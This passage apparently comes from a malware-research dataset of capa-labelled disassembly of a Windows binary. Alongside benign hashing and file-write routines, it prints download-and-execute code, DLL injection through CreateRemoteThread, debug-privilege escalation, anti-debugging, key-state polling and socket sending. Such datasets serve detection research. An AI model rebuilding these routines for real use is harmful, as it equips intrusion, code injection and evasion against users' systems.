joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff754ab70e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x7ff754c1f830]
mov edi, ecx
cmp byte [rbx + 0x4a2d], 0
jne 0x7ff754ab7132
cmp byte [rbx + 0x4a2e], 0
jne 0x7ff754ab7132
movsx r9d, word [rbx + 0x5b32]
lea r8, [0x7ff754befb58]
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.7ff754aa3de0
test dil, 1
je 0x7ff754ab7258
jmp 0x7ff754ab71bb
movss xmm1, dword [rbx + 0x3898]
lea r8, [0x7ff754befb58]
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x7ff754bfb92c]
xor eax, eax
mulss xmm1, dword [0x7ff754bfb910]
addss xmm0, dword [rbx + 0xdfc]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0xe00]
mov qword [rbx + 0x4790], rax
mov dword [rbx + 0x477c], 1
movss dword [rbx + 0x4788], xmm0
movss dword [rbx + 0x478c], xmm1
movss xmm0, dword [rbx + 0x38f4]
mulss xmm0, dword [0x7ff754bfb860]
or dword [rbx + 0x4778], 0x41
movss dword [rbx + 0x47d8], xmm0
movsx r9d, word [rbx + 0x5b32]
call fcn.7ff754aa3de0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x7ff754ab7210
lea r11, [0x7ff754bf0dd0]
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x7ff754ab71f3
cmp byte [r8], r9b
jne 0x7ff754ab71f3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x7ff754ab71e0
not ecx
call fcn.7ff754aac450
test rax, rax
je 0x7ff754ab7258
cmp byte [rax + 0xae], 0
je 0x7ff754ab7258
mov byte [rax + 0xb5], 1
lea r8, [0x7ff754befb58]
mov byte [rax + 0xd0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b32]
mov edx, 0x10
movsx r9d, word [rbx + 0x5b32]
call fcn.7ff754aa3de0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.7ff754aaee00
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x7ff754abc610
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c18], 0
lea rbx, [rcx + 0x5c20]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x7ff754abc6b7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x7ff754abc66a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.7ff754abed90
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.7ff754aa4770
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c18]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c28]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x7ff754c1f828]
cmovne rcx, rax
call qword [sym.imp.ucrtbase.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x7ff754abc6bf
mov rcx, rbx
call fcn.7ff754aa4770
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x7ff754abcb60
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movzx r8d, byte [rcx]
lea rdx, [rcx + 1]
mov r14, qword [0x7ff754c1f830]
mov r9d, 0xffffffff
mov ebx, r9d
test r8b, r8b
je 0x7ff754abcbc4
lea r10, [0x7ff754bf0dd0]
cmp r8b, 0x23
jne 0x7ff754abcba7
cmp byte [rdx], r8b
jne 0x7ff754abcba7
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x7ff754abcb94
mov eax, dword [r14 + 0x5b90]
xor edi, edi
mov qword [rsp + 0x30], rbp
not ebx
mov qword [rsp + 0x38], rsi
test eax, eax
jle 0x7ff754abcc25
mov esi, edi
mov ebp, edi
test rsi, rsi
js 0x7ff754abcbea
cmp edi, eax
jl 0x7ff754abcc04
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r14 + 0x5b98]
cmp dword [rax + rbp + 8], ebx
je 0x7ff754abcc42
mov eax, dword [r14 + 0x5b90]
inc edi
inc rsi
add rbp, 0x48
cmp edi, eax
jl 0x7ff754abcbe1
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
test edi, edi
js 0x7ff754abcc4f
cmp edi, dword [r14 + 0x5b90]
jl 0x7ff754abcc69
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
movsxd rax, edi
lea rcx, [rax + rax*8]
mov rax, qword [r14 + 0x5b98]
lea rax, [rax + rcx*8]
jmp 0x7ff754abcc27
Function at 0x7ff754ad9bc0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 0x210
call fcn.7ff754ab2ca0
cmp byte [rax], 0
je 0x7ff754ad9c59
mov ecx, 0x210
call fcn.7ff754aa2ec0
cmp byte [rax + 8], 0
jne 0x7ff754ad9c59
mov ecx, 0xa0
call qword [sym.imp.user32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x7ff754ad9c59
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754ad9c28
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
cmp byte [rbx + 0x37a9], 0
je 0x7ff754ad9c45
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x210
call fcn.7ff754aa3620
mov dword [rbx + 0x380], 0x210
mov dword [rbx + 0x940], 0xa0
mov ecx, 0x214
call fcn.7ff754ab2ca0
cmp byte [rax], 0
je 0x7ff754ad9cec
mov ecx, 0x214
call fcn.7ff754aa2ec0
cmp byte [rax + 8], 0
jne 0x7ff754ad9cec
mov ecx, 0xa1
call qword [sym.imp.user32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x7ff754ad9cec
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754ad9cbb
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
cmp byte [rbx + 0x37a9], 0
je 0x7ff754ad9cd8
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x214
call fcn.7ff754aa3620
mov dword [rbx + 0x384], 0x214
mov dword [rbx + 0x950], 0xa1
mov ecx, 0x212
call fcn.7ff754ab2ca0
cmp byte [rax], 0
je 0x7ff754ad9d7f
mov ecx, 0x212
call fcn.7ff754aa2ec0
cmp byte [rax + 8], 0
jne 0x7ff754ad9d7f
mov ecx, 0x5b
call qword [sym.imp.user32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x7ff754ad9d7f
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754ad9d4e
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
cmp byte [rbx + 0x37a9], 0
je 0x7ff754ad9d6b
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x212
call fcn.7ff754aa3620
mov dword [rbx + 0x26c], 0x212
mov dword [rbx + 0x948], 0x5b
mov ecx, 0x216
call fcn.7ff754ab2ca0
cmp byte [rax], 0
je 0x7ff754ad9e12
mov ecx, 0x216
call fcn.7ff754aa2ec0
cmp byte [rax + 8], 0
jne 0x7ff754ad9e12
mov ecx, 0x5c
call qword [sym.imp.user32.dll_GetKeyState]
shr eax, 0xf
test al, 1
jne 0x7ff754ad9e12
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754ad9de1
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
cmp byte [rbx + 0x37a9], 0
je 0x7ff754ad9dfe
xorps xmm3, xmm3
lea rcx, [rbx + 8]
xor r8d, r8d
mov edx, 0x216
call fcn.7ff754aa3620
mov dword [rbx + 0x270], 0x216
mov dword [rbx + 0x958], 0x5c
add rsp, 0x20
pop rbx
ret
Function at 0x7ff754addc30
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, pe_nt_image_headers64
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x7ff754addca2
lea r8, [r10 + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x7ff754addc60
mov ecx, dword [r10]
jmp 0x7ff754addda3
cmp ecx, 0x270
jb 0x7ff754addda3
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [r10 + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x7ff754addcd0
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x7ff754addd20
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 + 0x9c0], rcx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov rdx, qword [r10 + rax*8 + 8]
lea eax, [rcx + 1]
mov dword [r10], eax
mov rcx, rdx
mov rax, qword [r10 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 8
ret
Function at 0x7ff754ade340
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, qword [0x7ff754c45278]
mov rbx, r8
lea rsi, [rdi + 0x164]
lea rcx, [rdi + 0x16c]
mov dword [rsi], 1
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + 0x168], ebx
add rbx, 8
je 0x7ff754ade44f
mov rax, qword [rdi]
test rax, rax
jne 0x7ff754ade3a9
lea r8d, [rax + 0x4f]
lea rdx, [0x7ff754bf7c80]
lea rcx, [0x7ff754bf7da8]
call qword [sym.imp.ucrtbase.dll__wassert]
jmp 0x7ff754ade3ff
mov rcx, qword [rax + 8]
cmp rcx, 0xffffffffffffffff
je 0x7ff754ade3ff
test rsi, rsi
jne 0x7ff754ade3d2
lea r8d, [rsi + 0x56]
lea rdx, [0x7ff754bf7c80]
lea rcx, [0x7ff754bf7db8]
call qword [sym.imp.ucrtbase.dll__wassert]
jmp 0x7ff754ade3ff
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.kernel32.dll_WriteFile]
cmp eax, 1
jne 0x7ff754ade3ff
cmp dword [rsp + 0x40], ebx
je 0x7ff754ade44f
mov r8, qword [rdi + 0x18]
test r8, r8
je 0x7ff754ade41e
mov eax, dword [rdi + 8]
dec eax
test eax, 0xfffffffd
jne 0x7ff754ade41e
mov ecx, dword [rdi + 0x60]
lea rdx, [rdi + 0x64]
call r8
mov rbx, qword [rdi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov byte [rbx], 0
mov dword [rdi + 8], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x48]
mov al, 1
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x7ff754ae2c70
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x40
lea rcx, [0x7ff754bf7c40]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x7ff754ae2d34
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.advapi32.dll_OpenProcessToken]
test eax, eax
je 0x7ff754ae2d0b
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, [0x7ff754bfa090]
call qword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x7ff754ae2d05
mov rax, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x34], rax
xor edx, edx
xor eax, eax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x10]
call qword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdx, [0x7ff754bfa0a8]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x7ff754ae2d34
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
mov eax, 1
add rsp, 0x40
pop rbx
ret
xor eax, eax
add rsp, 0x40
pop rbx
ret

Function at 0x7ff754ae2d90
Capabilities:
Check for debugger via api

Disassembly:
sub rsp, 0x28
mov dword [rsp + 0x30], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.kernel32.dll_CheckRemoteDebuggerPresent]
mov eax, dword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x7ff754ae4240
Capabilities:
Create process on windows
Delete file
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0xa0
cmp qword [rdx + 0x18], 0x10
mov rbx, rdx
mov r8, rdx
jb 0x7ff754ae4259
mov r8, qword [rdx]
cmp qword [rcx + 0x18], 0x10
jb 0x7ff754ae4263
mov rcx, qword [rcx]
mov rdx, rcx
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x7ff754ae433f
cmp qword [rbx + 0x18], 0x10
lea rax, [0x7ff754bfa2d8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x30], 0x70
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x40], rax
mov rax, rbx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x34], 0x40
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x38], 0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
jb 0x7ff754ae42e0
mov rax, qword [rbx]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rax
movdqa xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
call qword [sym.imp.shell32.dll_ShellExecuteExA]
test eax, eax
je 0x7ff754ae432c
mov rcx, qword [rsp + 0x98]
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff754ae4336
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.ucrtbase.dll_remove]
add rsp, 0xa0
pop rbx
ret
Function at 0x7ff754ae4350
Capabilities:
Send data
Send data on socket

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov rcx, qword [0x7ff754c1c658]
mov dword [rsp + 0x20], 0
cmp rcx, 0xffffffffffffffff
je 0x7ff754ae4401
xor r9d, r9d
lea rdx, [rsp + 0x40]
lea r8d, [r9 + 4]
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x7ff754ae439f
mov rcx, qword [0x7ff754c1c658]
call qword [sym.imp.ws2_32.dll_closesocket]
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov rcx, qword [0x7ff754c1c658]
lea rdx, [rsp + 0x20]
xor r9d, r9d
lea r8d, [r9 + 4]
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x7ff754ae43d0
mov rcx, qword [0x7ff754c1c658]
call qword [sym.imp.ws2_32.dll_closesocket]
call qword [sym.imp.ws2_32.dll_WSACleanup]
mov rcx, qword [0x7ff754c1c658]
lea rdx, [rsp + 0x48]
xor r9d, r9d
lea r8d, [r9 + 1]
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x7ff754ae4401
mov rcx, qword [0x7ff754c1c658]
call qword [sym.imp.ws2_32.dll_closesocket]
call qword [sym.imp.ws2_32.dll_WSACleanup]
add rsp, 0x38
ret
Function at 0x7ff754ae7950
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x180
cmp qword [rcx + 0x18], 0x10
mov rdi, rcx
jb 0x7ff754ae7974
mov rdi, qword [rcx]
mov eax, dword [0x7ff754bfa2d0]
xor esi, esi
movsd xmm0, qword [0x7ff754bfa2c8]
xor edx, edx
mov dword [rsp + 0x48], eax
xor ebx, ebx
movzx eax, word [0x7ff754bfa2d4]
lea ecx, [rsi + 2]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x4c], ax
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x130
mov rcx, rax
mov rbp, rax
call qword [sym.imp.kernel32.dll_Process32First]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
je 0x7ff754ae7a14
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.ucrtbase.dll__mbsicmp]
test eax, eax
jne 0x7ff754ae7a02
mov eax, dword [rsp + 0x6c]
cmp eax, ebx
jbe 0x7ff754ae7a02
mov esi, dword [rsp + 0x58]
mov ebx, eax
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x7ff754ae79e0
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x7ff754ae7a48
lea r8d, [rax + 0x2f]
lea rdx, [0x7ff754bfaf00]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
jmp 0x7ff754ae7b73
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x7ff754ae7a52
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x7ff754ae7aa0
lea r8d, [rax + 0x2f]
lea rdx, [0x7ff754bfaf00]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
jmp 0x7ff754ae7b6a
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x7ff754ae7aa0
lea r9, [rbx + 1]
mov qword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
je 0x7ff754ae7b3c
mov r9, qword [sym.imp.kernel32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], 0
mov rcx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x7ff754ae7b3c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [0x7ff754c1f85b], 1
jmp 0x7ff754ae7b73
mov r8d, 0x2f
lea rdx, [0x7ff754bfaf00]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x7ff754ae7b90
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
lea rcx, [rsp + 0x30]
call fcn.7ff754aefde0
nop
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
cmp qword [rbx + 0x18], 0x10
jb 0x7ff754ae7bbf
mov rbx, qword [rbx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x7ff754ae7bf5
mov r8d, 0x1e
lea rdx, [0x7ff754bfaf30]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
jmp 0x7ff754ae7c00
lea rcx, [rsp + 0x30]
call fcn.7ff754ae7950
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff754ae7c40
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754ae7c3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff754ae7c3b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff754bbb050
add rsp, 0x50
pop rbx
ret
Function at 0x7ff754af0160
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x7ff754af0229
cmp byte [rcx + 0x71], 0
je 0x7ff754af0229
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x7ff754af021c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.msvcp140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x7ff754af01d8
sub eax, 1
je 0x7ff754af01dc
cmp eax, 2
jne 0x7ff754af021c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x7ff754af020a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.ucrtbase.dll_fwrite]
cmp rdi, rax
jne 0x7ff754af021c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret
Function at 0x7ff754b02d00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x2f0]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.7ff754af1990
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x7ff754b02d56
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x3c]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x34]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x30]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x20], r12d
test ebp, ebp
jg 0x7ff754b02dad
mov ebp, 0x4b0000
jmp 0x7ff754b02dbb
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.7ff754af3f70
mov ebp, eax
bsr ecx, ebp
bsr eax, edi
shl r12d, 0x10
add eax, ecx
cmp eax, 0x2e
jl 0x7ff754b02dd1
mov eax, r12d
jmp 0x7ff754b02dda
mov edx, edi
mov ecx, ebp
call fcn.7ff754af3f70
mov r9d, dword [rsp + 0x88]
mov ecx, r9d
shl ecx, 0x10
cmp eax, ecx
jge 0x7ff754b02df6
shl esi, 0x10
mov ecx, esi
jmp 0x7ff754b02ee5
mov r8d, dword [rsp + 0x70]
mov edx, r8d
shl edx, 0x10
mov dword [rsp + 0x88], edx
cmp eax, edx
jge 0x7ff754b02e54
mov ebx, r8d
mov edx, edi
sub ebx, r9d
call fcn.7ff754af1990
mov ecx, ebp
sub ecx, eax
test ebx, ebx
je 0x7ff754b02e44
sub r15d, esi
mov r8d, ebx
mov edx, r15d
call fcn.7ff754af3e40
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.7ff754af1990
add ebx, eax
jmp 0x7ff754b02eee
mov esi, dword [rsp + 0x78]
mov ebx, esi
mov r8d, dword [rsp + 0x70]
shl ebx, 0x10
jmp 0x7ff754b02e61
mov esi, dword [rsp + 0x78]
mov ebx, esi
shl ebx, 0x10
cmp eax, ebx
jge 0x7ff754b02ea0
mov ecx, dword [rsp + 0x88]
mov r12d, esi
mov edx, edi
sub r12d, r8d
call fcn.7ff754af1990
